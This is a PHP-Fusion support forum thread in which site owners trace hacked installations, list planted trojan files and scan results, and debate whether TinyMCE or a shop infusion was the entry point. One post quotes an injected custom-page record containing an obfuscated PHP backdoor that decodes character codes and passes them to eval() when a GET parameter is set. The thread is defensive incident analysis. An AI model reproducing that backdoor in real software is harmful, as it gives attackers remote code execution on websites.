My site was hacked: The Chill Out Zone

Home
Search

Oh no! Where's the JavaScript?
Your Web browser does not have JavaScript enabled or does not support JavaScript. Please enable JavaScript on your Web browser to properly view this Web site, or upgrade to a Web browser that does support JavaScript.

Just want to share so others can learn.

I had still PHP-fusion v 7.02.05, got hacked, got this information from my host:

Malware uploaded through weakness in outdated PHP-fusion script.
Files uploaded by hacker:
administration/Dlogoff.php
administration/wishlistl08.php
viewpage.php
wp-conf.php

Problem is fixed, now I have updated all my sites to 7.02.06.:G

0 replies

new worm

0 replies

Would be interesting to know what infusions and other scripts you had installed on your webspace...

First, check the fusion_errors table as tojans are often not programmed that clean and tend to produce warnings or errors. This record revealed the weak spot on my site to me:

Code Download source

(121, 8, 'A non well formed numeric value encountered', '/web/1/000/051/562/203796/htdocs/infusions/shop_system/warenkorb.php', 121, '/infusions/shop_system/warenkorb.php', 0, '85.25.71.100', 4, 0, 1360061166),

Using warenkorb.php for sql code injection, a new record was added to fusion_custom_pages this way:

Code Download source

(2, 'testtitl', 0, '                                                                                                         <?php if(isset($_GET[\\''viewpages\\''])) { $d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,
...
...
0,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);exit; } ?>

I deleted the record and in the Laaser shop system, which allowed code injection, encapsuled all $_GET and $_POST references with connections to mysql queries in mysql_real_escape_string() function calls.

0 replies

— 1 month earlier —

Have had the same experience with a customers site. Hacker injected some code in a custom_pages page. And used this (as far as I can see) to execute something through viewpage.php.

0 replies

Quote

Domi wrote:

@Tyler
I never said that.

I said it since it's true, he must be confused with that. :D

0 replies

Falk

answered 10 Apr 2013 at 12:05 AM

Super Admin

@Tyler
I never said that.

@Baby Tunes
Can you show any logs of how the files got there?.
I mean any trace of where the original attack on your site happens.
All you show now is files that have been inserted one way or the other to your server , but we do not know how they got there.
You have found them in the TinyMCE directorys, but they could endup in any directory.
Just because they are in TinyMCE directories it dosen´t mean we can say it´s tiny that caused it.

0 replies

Well, 3 different servers, multiple pages and all is the same problem occurred when TinyMCE. Again and again in the TinyMCE injections were started.

Fusion itself is everywhere 02.07.06, PHP version is the latest and even MySQL is updated regularly by me, so it's all up to date.

The servers are where it all goes optimally protected only against the injections can not protect completely loving.

Now if only the TinyMCE is necessarily to blame it, you can not say directly, but via the submit.php can not happen. These are sometimes even non-existent, because I quite loving what is not needed, is not only on the server then.

Fusion has ansich think somewhere some vulnerabilities, they are being used at the time simply geziehlt. After the first spam attack all data were cleaned, passwords and ports in some cases. It is no more data from the attack were present.

0 replies

Domi, if we stopped using tiny mce - which is rather weird (i never did use it so I wasn't aware it wasn't used anymore) - why would we still package it with php-fusion?

It enables users/developers to use an outdated script.

I guess speculating is much more than others' are doing :|
There's obviously an issue.

0 replies

Falk

answered 9 Apr 2013 at 09:09 PM

Super Admin

I see alot of speculations here, none wich have anything useful in it, it really dosen´t help to randomly guess.

These files that are uploaded/created, they have not been altered and they do not prove that it is tinyMCE that are the cultprit on that or any other site.

Code Download source

/var/www/virtual/1beatz.eu.xx/htdocs/includes/jscripts/tiny_mce/plugins/autosave/images/functions.php: PHP.Trojan.Spambot FOUND
/var/www/virtual/1beatz.eu.xx/htdocs/includes/jscripts/tiny_mce/plugins/insertdatetime/sql.php: PHP.Trojan.Spambot FOUND
/var/www/virtual/1beatz.eu.xx/htdocs/includes/jscripts/tiny_mce/plugins/xhtmlxtras/css/sql.php: PHP.Trojan.Spambot FOUND
/var/www/virtual/1beatz.eu.xx/htdocs/includes/jscripts/tiny_mce/plugins/spellchecker/functions.php: PHP.Trojan.Spambot FOUND

All i can see is that we had thusands of hacked sites with similar results, randomly modified files or new files inserted.
What we can tell today is that most seem to be secure when they have updated and made a proper clean of their directories and databases, including password changes.

Many people have posted how to get clean many times in this and other threads.

I have seen no real indications or evidence that our current PHPFusion version would be unsecure.

The only additional info i can give everyone here is that you need a PHP version equal to 5.3.4 or higher to stay safe from null byte attacks wich can execute payloads that comes within images that can have been uploaded to your site.

0 replies

@ Craig
One does not have direct access via the admin area to create but if you know the system and know where the folder is, that is enough. There are also tools with which one can scan all FTP a domain without the need to hook it. Because it does not matter whether a blank index.php is present or not.
You should make time thought surely it must be the TinyMCE or not to go other editors like CKEditor or something?

Mitlerweile are further cases known where eg. also has been attacked config.php, you should suspect a file for at least one injection.

Let's put it simply: Currently, the core of the technology is simply outdated and there simply must be what made mandatory.

0 replies

Tyler, submit.php used for public submissions no longer uses Tiny MCE, I think from either v7.02.04 or 05 Can't remember exactly which version but it is not used anymore in submit.php Tiny MCE is only used in the Admin for News, Articles and Custom Pages. So if that is the issue then the Attacker would need access to the Admin area, if that is the case then I think we have more to worry about than the tiny mce. Or if it is via a tiny mce exploit then we need to worry more about how he gained access to the file for tiny mce.

PHPFusion Leader And Senior Developers please speak up? (those who code)

0 replies

Well maybe they should do SOMETHING. At least tell people to not use tiny mce. We've seen at least 4 people's site get hacked - although we can't confirm a cause.

The easiest thing they could do is warn users although what we need is a replacement/quick fix... As I mentioned in one of my other posts we could just adopt a html filter to keep tiny mce with minimal work.

I think that'll be ideal with v8 in the works but it's not up to me.

0 replies

I know we do not use tiny mce for submissions any more so figure that one.

0 replies

No coincidence then that an alternative for tiny mce was presented recently.
See, Redactor.
Do the admins know more than us mortals?

0 replies

Well I would assume the solution would be to adopt a html filter...
Not only would it secure html but make it standard-compliant.

I do hope someone looks into this. I know if php-fusion had an obvious flaw this site would be the first to see hacking/defacing attempts. However, as I speculated earlier if it is TinyMCE data being improperly handled we wouldn't see problems here because submissions are not allowed (that's generally where tinymce is used - publicly)....

On another note this is entirely hard to diagnose due to all of the factors. Every host/configuration is different. People could be using insecure addons or try doing improvements themselves causing issues...

Hopefully we can get some closure on this subject some time soon.

0 replies

What can you say to that? Use only in itself infusions CKEditor, you should be the new version may also schedule times and not continue to work in the v8 with the Tiny.

Perhaps we should find a solution then again superior to the 7 Series, up to the v8 comes and also this will be so popular, it will probably take something also.

0 replies

TincyMCE claims that there is no immediate risk using TinyMCE however they "recommend" using a HTML purifier - weird :o

0 replies

This is only an excerpt of the report, this is at the 8 domains and 3 more servers I maintain.

Guess the problem comes directly from TinyMCE because it has become strikingly beautiful more often in recent weeks for sollche things.
Where what has been found is in Geshi BB code, but I rather think that this causes less a cause.

After I deleted the TinyMCE because I need to nowhere, restarted server and lo and behold, it is calm. Previously, once restarted where Tiny was still there, within 5 minutes the problem went on.
Chmod are all set correctly.

0 replies

I can only speculate but there's a known issue with TinyMCE 3.5.8 (Latest)

We are running 3.3.8 - if that says something right there.

There's an encoding issue WHEN the bbcode plugin is configured for tinymce. I haven't even looked into what we have yet but it's possible that submissions or other parts of the site that use TinyMCE could be the culprit.

I'm just wondering if the data isn't being filtered properly...

@Baby Tunes - This isn't the only way but using insecure email forms/automailers could be an issue. The headers are tampered and used maliciously. Just something to think about.

0 replies

Seems that the gap is not closed under 7:02:06.

I come now we dadrauf:
My server provider has once again found massive spam, sent it to me but also the header of the email:

Quote

Return-Path: <>
Received: from n096h054.rs.de.inter.net (n096h054.rs.de.inter.net [213.73.96.54])
by mtain-de05.r1000.mx.aol.com (Internet Inbound) with ESMTP id 651C638000082
for <>; Sun, 31 Mar 2013 18:13:29 -0400 (EDT)
Received: by n096h054.rs.de.inter.net (Postfix, from userid 2008)
id D3E593EE4A4; Sat, 30 Mar 2013 22:35:28 +0100 (CET)
To:
Subject: FW: hi
X-PHP-Originating-Script: 2008:javascript.php
From: "Finlay Sargent" <>
Reply-To: "Finlay Sargent" <>
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Message-Id: <>
Date: Sat, 30 Mar 2013 22:35:28 +0100 (CET)
Content-Transfer-Encoding: quoted-printable
x-aol-global-disposition: S
X-AOL-REROUTE: YES
x-aol-sid: 3039ac1d40cd5158b5095e0f
X-AOL-IP: 213.73.96.54
X-AOL-SPF: domain : 1beatz.eu SPF : none

Now I have done a virus scan with ClamAV and as well in the header of the mail he has shown me on all sides of the javascript.php 7:02:06 in BB codes and hidden reported.

Who has a Debian server, this should install http://blog.serve times ... nux-debian

There it is described as a cronjob every day a scan is done. Windows Server should be equipped with a virus program.

Where now but that is the passage in order to even start a spam attack, I do not know.

edit:
Seems that is the exploit in TinyMCE, now there were all the spam data found:

Quote

/var/www/virtual/1beatz.eu.xx/htdocs/includes/jscripts/tiny_mce/plugins/autosave/images/functions.php: PHP.Trojan.Spambot FOUND
/var/www/virtual/1beatz.eu.xx/htdocs/includes/jscripts/tiny_mce/plugins/insertdatetime/sql.php: PHP.Trojan.Spambot FOUND
/var/www/virtual/1beatz.eu.xx/htdocs/includes/jscripts/tiny_mce/plugins/xhtmlxtras/css/sql.php: PHP.Trojan.Spambot FOUND
/var/www/virtual/1beatz.eu.xx/htdocs/includes/jscripts/tiny_mce/plugins/spellchecker/functions.php: PHP.Trojan.Spambot FOUND

0 replies

Thanks Tyler. I've left it alone and did find a series of items which may be causing the spammers to get into my site.

0 replies

Category Forum

Announcements & Security Issues

Labels

None yet

Statistics

Views 0 views
Posts 142 posts
Votes 0 votes
Topic users 41 members

41 participants

Notifications

Track thread

You are not receiving notifications from this thread.

My site was hacked

142 posts

PHPFusion

Resources

Community

Development